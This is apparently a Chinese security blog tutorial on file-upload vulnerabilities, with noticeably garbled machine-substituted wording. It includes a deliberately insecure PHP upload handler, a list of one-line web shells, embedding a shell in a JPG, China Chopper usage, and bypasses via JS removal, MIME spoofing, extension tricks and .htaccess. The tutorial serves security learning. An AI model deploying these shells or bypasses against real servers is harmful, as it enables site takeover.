Web运用程序常日会有文件上传的功能,例如,在BBS发布图片、在个人网站发布压缩包、在招聘网站发布DOC格式简历等。只要Web运用程序许可上传文件,就有可能存在文件上传漏洞。
文件上传漏洞与SQL注入比较,其风险更大,如果Web运用程序存在文件上传漏洞,攻击者乃至可以直接上传一个WebShell到做事器上。那么,如何确认Web运用程序是否存在上传漏洞呢?比如,我的网站是一个BBS论坛,由PHP编写,用户可以上传自己的个性化头像,也便是图片文件,但文件上传时并没有对图片格式做验证,导致用户可以上传任意文件,那么这便是一个漏洞。如下图所示,通过文件上传漏洞获取了全体网站的目录。
在这篇文章中,作者仅大略先容文件上传漏洞的根本知识,后面还会陆续分享几篇博文,详细讲解各种文件上传漏洞的案例及防御方法。根本文章,希望对想成为白帽子或安全工程师的博友有所帮助。下图展示了网络安全涉及的各种技能:
2.环境搭建
首先,作者大略搭建了一个本地PHP的做事器环境,读者也可以考试测验远程做事器进行测试。非常遗憾,终极案例是失落败的,但基本的流程和方法事理类似,也希望对您有所帮助。
第一步,安装XAMPP软件,Apache+MySQL+PHP实现做事器搭建。
第二步,点击Apache运行,如下图所示,然后点击文件夹“Explorer”图标。该文件夹将存放我们的PHP文件,它是一个本地的做事器,当然您也可以将您的PHP文件上传到远程做事器上。
第三步,放入我们的两个PHP文件。
index.php是一个上传页面,包含一个文件选择和上传按钮,并调用upload_server.php文件实行上传操作。
<!DOCTYPE html><html><head><title>文件上传</title><meta charset="utf-8"></head><body><center><!-- enctype="mulipart/form-data"属性是指以二进制办法进行数据传输 传输文件须要设置--><form action="upload_server.php" method="post" enctype="multipart/form-data"><input type="hidden" name="max_file_size" value="1048576"><input type="file" name="file"><input type="submit" name="上传"></form></center></body></html>
upload_server.php是详细的上传操作,代码如下所示,调用move_uploaded_file函数实现上传。
<?php header("content-type:text/html;charset=utf-8");//设置时区date_default_timezone_set('PRC');//获取文件名$filename = $_FILES['file']['name'];//获取文件临时路径$temp_name = $_FILES['file']['tmp_name'];//获取大小$size = $_FILES['file']['size'];//获取文件上传码,0代表文件上传成功$error = $_FILES['file']['error'];//判断文件大小是否超过设置的最大上传限定if ($size > 210241024){//echo "<script>alert('文件大小超过2M大小');window.history.go(-1);</script>";exit();}//phpinfo函数会以数组的形式返回关于文件路径的信息 //[dirname]:目录路径[basename]:文件名[extension]:文件后缀名[filename]:不包含后缀的文件名$arr = pathinfo($filename);//获取文件的后缀名$ext_suffix = $arr['extension'];//设置许可上传文件的后缀$allow_suffix = array('jpg','gif','jpeg','png','php');//判断上传的文件是否在许可的范围内(后缀)==>白名单判断if(!in_array($ext_suffix, $allow_suffix)){//window.history.go(-1)表示返回上一页并刷新页面echo "<script>alert('上传的文件类型只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";exit();}//检测存放上传文件的路径是否存在,如果不存在则新建目录if (!file_exists('uploads')){mkdir('uploads');}//为上传的文件新起一个名字,担保更加安全//$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;$new_filename = $filename;//将文件从临时路径移动到磁盘if (move_uploaded_file($temp_name, 'uploads/'.$new_filename)){echo "<script>alert('文件上传成功!
');window.history.go(-1);</script>";}else{echo "<script>alert('文件上传失落败,缺点码:$error');</script>";} ?>
第四步,访问该目录就能成功实现文件上传功能,如下图所示。访问地址:http://localhost/eastmount/index.php
点击“选择文件”按钮,选择本地文件并提交。
上传成功之后,可以看到本地的uploads文件夹下有一张图片,并且能够成功访问。
访问地址:http://localhost/eastmount/uploads/mm.jpg
写到这里,一个大略的PHP文件上传功能就实现了,接下来开始讲解文件上传漏洞。
二.木马事理及Caidao
参考前文:[渗透&攻防] 三.数据库之差异备份及Caidao利器
1.一句话木马事理
“一句话木马”做事端: 本地存储的脚本木马文件,是我们要用来将恶意代码上传到做事器网站中实行权限。该语句触发后,吸收入侵者通过客户端提交的数据,实行并完成相应的操作。做事真个代码内容为:
<?php eval($_POST[str]); ?> //str为自定义内容
“一句话木马”客户端: 远程做事器上被插入一句话的asp可实行文件。用来向做事端提交掌握数据,提交的数据通过做事端构成完全的功能语句并实行,天生我们须要的木马文件。
一句话木马短小精悍,功能强大且暗藏性非常好,常见的种类包括asp、php、aspx。如下:
asp一句话木马:<%execute(request(“value”))%>php一句话木马:<?php @eval($_POST[value]);?>aspx一句话木马:<%@ Page Language=“Jscript”%> <%eval(Request.Item[“value”])%>其他一句话木马:<%eval request(“value”)%> <%execute request(“value”)%>判断一句话木马:<%If Request(“value”)<>"" Then Execute(Request(“value”))%>不用双引号的一句话木马:<%eval request(chr(35))%>
下图是一个test.php的文件,它包含了我们的一句话木马。
2.图片一句话木马制作
由于有些网站上传文件时,会检讨你上传文件的头目录,如果你的一句话木马是放在PHP文件中,它很随意马虎被识别出来。这个时候图片一句话木马的浸染就表示出来了,后面会更详细的先容。下面是一张mm.jpg图片文件,我们想办法要在该文件中加一句话木马。
首先考试测验用notepad++打开该图片并添加一句话木马,如下图所示。
虽然添加了这样一句话,木马创建成功了,但此时的图片显示轻微有些模糊。这么模糊的图片不是留下痕迹吗?那怎么处理呢?
为了避免模糊,须要通过其他方法实行。第一种办法是利用如下的命令,个中b表示二进制,a表示ascii编码。
copy mm.jpg/b+test.php/a mm1.jpg
在CMD中直接运行,如下图所示。它是在mm.jpg图片中,插入test.php中的一句话木马 <?php eval($_POST[str]); ?> ,并存储为mm1.jpg图片。
如下图所示,这是同一个目录下对应的三个文件。
用Notepad++打开“mm1.jpg”可以看到,里面包含了一句话木马,并且不影响我们的图片质量。
第二种方法,直接通过uedit软件打开,然后将代码复制至末端即可。
把稳,部分网站是有文件格式解析的,即网站会判断上传的脚本是否可以被实行,某些文件格式是无法被解析的,比如,上传jpg格式的无法被php格式解析。
3.Caidao案例
Caidao软件听说是一个退役士兵写的,真的很厉害。它是一款Webshell管理工具,支持各种措辞,常见的包括ASP、ASPX、PHP、JSP、CFM等,现在蚁剑和冰蝎Behinder也非常不错,打开Caidao如下图所示。
接着考试测验举一个例子,我们插入带有一句话木马的“mm1.jpg”文件至做事器。
然后再Caidao空缺处右键“添加”,设置地址及口令,地址为目标URL,口令为“str”,对应一句话木马 <?php eval($_POST[str]); ?> 。如下图所示:
添加成功之后,选中该行数据,右键“文件管理”该当能查看目标网站的做事器文件目录,可惜作者失落败了!
O(∩_∩)O
精确的示例参考之前的文章,如下图所示:
PS:虽然案例失落败了,但基本利用方法是一样的,后续作者会搭建远程做事器进行测试,也会连续深入学习。
4.Caidao事理末了分享下中国菜刀软件的事理知识,点击某条链接,右键“虚拟终端”。
在虚拟终端中输入命令:ipconfig。
选中该条链接,并复制数据包的内容进行剖析。
将抓取的数据包复制出来,如下图所示。
个中,%3DURL编码表示“=”,%2BURL编码表示“+”。
fox=base64表示对POST参数z0进行加密。
用软件Base64解密之后,得到z1的值为cmd。
同样的方法解析通报的z2值,结果如下图所示,包含一条路径及实行的ipconfig命令。
该参数可以通过浏览器POST提交,如下图所示,mantra Portable浏览器也是网络攻防的常见工具。
中国菜刀的基本事理是:往目标网站中加入一句话木马,然后你就可以在本地通过中国菜刀获取和掌握全体网站目录。比如,我们可以把一句话木马插入到网站上的某个asp/aspx/php文件上,或者直接创建一个新的文件,在里面写入这些语句,然后把文件上传到网站上即可。打开中国菜刀,在空缺处点击鼠标右键,选择“添加”选项;编辑干系参数,包括一句话木马所在的URL及密码,在URL列表中选中目标网站,点击鼠标右键,选择“文件管理”,可以看到网站的目录构造。
三.JS+MIME和文件扩展名限定把稳:该部分内容参考B站Fox大神的视频,非常推举大家去学习,详见参考文献。
1.JS绕过文件上传
JS验证用于客户端本地的验证,以是如果你上传一个禁绝确的文件格式,它的判断会很快显示出来你上传的文件类型禁绝确。
JS判断代码: οnsubmit=“return checkFile()”
比如,上传其他文件会有干系的缺点提示。
核心代码如下所示:
//设置许可上传文件的后缀$allow_suffix = array('jpg','gif','jpeg','png');//判断上传的文件是否在许可的范围内(后缀)==>白名单判断if(!in_array($ext_suffix, $allow_suffix)){echo "<script>alert('上传的文件类型只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";exit();}
第一种方法:删除 checkFile()函数。
第二种方法:考试测验在许可上传格式的文件里添加.php格式。
如下图所示,添加之后成功上传。
第三种方法:JS验证本地上传。拷贝源代码到本地剖析,考试测验删除JavaScript代码,并指定在action=“”中指定上传地址。 如下图所示,本地新建一个HTML文件并删除JavaScript判断代码,接着指定上传路径运行。
第四种方法:上传许可上传的文件,再用BurpSuite进行抓包改包。比如,首先上传一个规则的文件“php.jpg”,再用BurpSuite抓包修正为“php.php”,
2.MIME绕过文件上传
MIME(Multipurpose Internet Mail Extensions)多用场互联网邮件扩展类型,是设定某种扩展名的文件用一种运用程序来打开的办法类型,当该扩展名文件被访问的时候,浏览器会自动利用指定运用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开办法。
核心浸染:做事器判断你上传的是什么文件。其基本类型比如:
{".3gp", “video/3gpp” }
{".asp", “application/x-asap” }
{".avi", “video/x-msvideo” }
{".bmp", “image/bmp” }
{".cpp", “text/plain” }
{".jpe", “image/jpeg” }
{".mp4", “video/mp4” }
…
下面是利用BurpSuite抓取所上传的JPG文件和PHP文件的类型比拟。
某些情形会限定上传文件的类型,此时也须要修正“Content-Type”类型。比如将上传的PHP文件Content-Type修正为“image/jpeg”。
3.扩展名限定上传
文件扩展名限定是通过客户端黑名单来限定上传文件的类型。
(1) 大小写绕过文件上传首先,我们先来理解关于大小写绕过文件上传。顾名思义,大小写是把文件扩展名进行php测试绕过。如下图所示,“1.php”文件上传会被拦截,而修正成“1.phP”后成功上传。
须要把稳,Windows和Linux下的两个文件名是不一样的,Windows下文件是不区分大小写的,Linux下文件是区分大小写的。
(2) 点、空格绕过文件上传
点和空格是在文件后缀上加上点和空格进行绕过。在文件后缀上添加空格重新命名,会自动删除所谓的空格,点同理会自动删除的,由于可能考试测验欺骗做事器验证。系统默认是不支持加空格、加点的,比如“.php空格”会自动解析为“.php”,“.php.”会自动解析为“.php”。
这里须要利用BurpSuite抓包进行操作,如下图所示,将上传的“.php”文件后增加一个空格,再点击Forward进行上传。
同样,增加点或者点和空格交叉的文件也能成功上传。
并且能够成功访问,如下图所示。
(3) htaccess文件绕过上传
.htaccess文件或者“分布式配置文件”供应了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,个中的指令浸染于此目录及其所有子目录。
大略来说,htaccess文件是Apache做事器中的一个配置文件,它卖力干系目录下的网页配置。它的功能有:网页301重定向、自定义404缺点页面、改变文件扩展名、许可/阻挡特定的用户或目录的访问、禁止目录列表、配置默认文档等。
这里我们须要用到的是改变文件扩展名,代码如下:
<FilesMatch "fox">SetHandler application/x-httpd-php</FilesMatch>
这里是把fox名字的文件全都以php来运行,须要分外文件进行创建,如Notepad++。
首先上传一个“.htaccess”文件,再上传一个“fox.jpg”文件,它会将这张图片以php来解析。
显示如下图所示,由于因此php格式解析的,而不显示成一张jpg图片。
接着打开中国菜刀,获取了该做事器的目录。
现实的两个文件如下图所示:包括 “fox.jpg” 和 “.htaccess”。
四.总结
写道这里,这篇根本性文章就此结束,后面会连续分享文件上传漏洞,包括php345文件绕过上传、Windows ::$DATA绕过、apache解析漏洞上传等。末了希望根本性文章对您有所帮助,作者也是这个领域的菜鸟一枚,希望与您共同进步,共勉。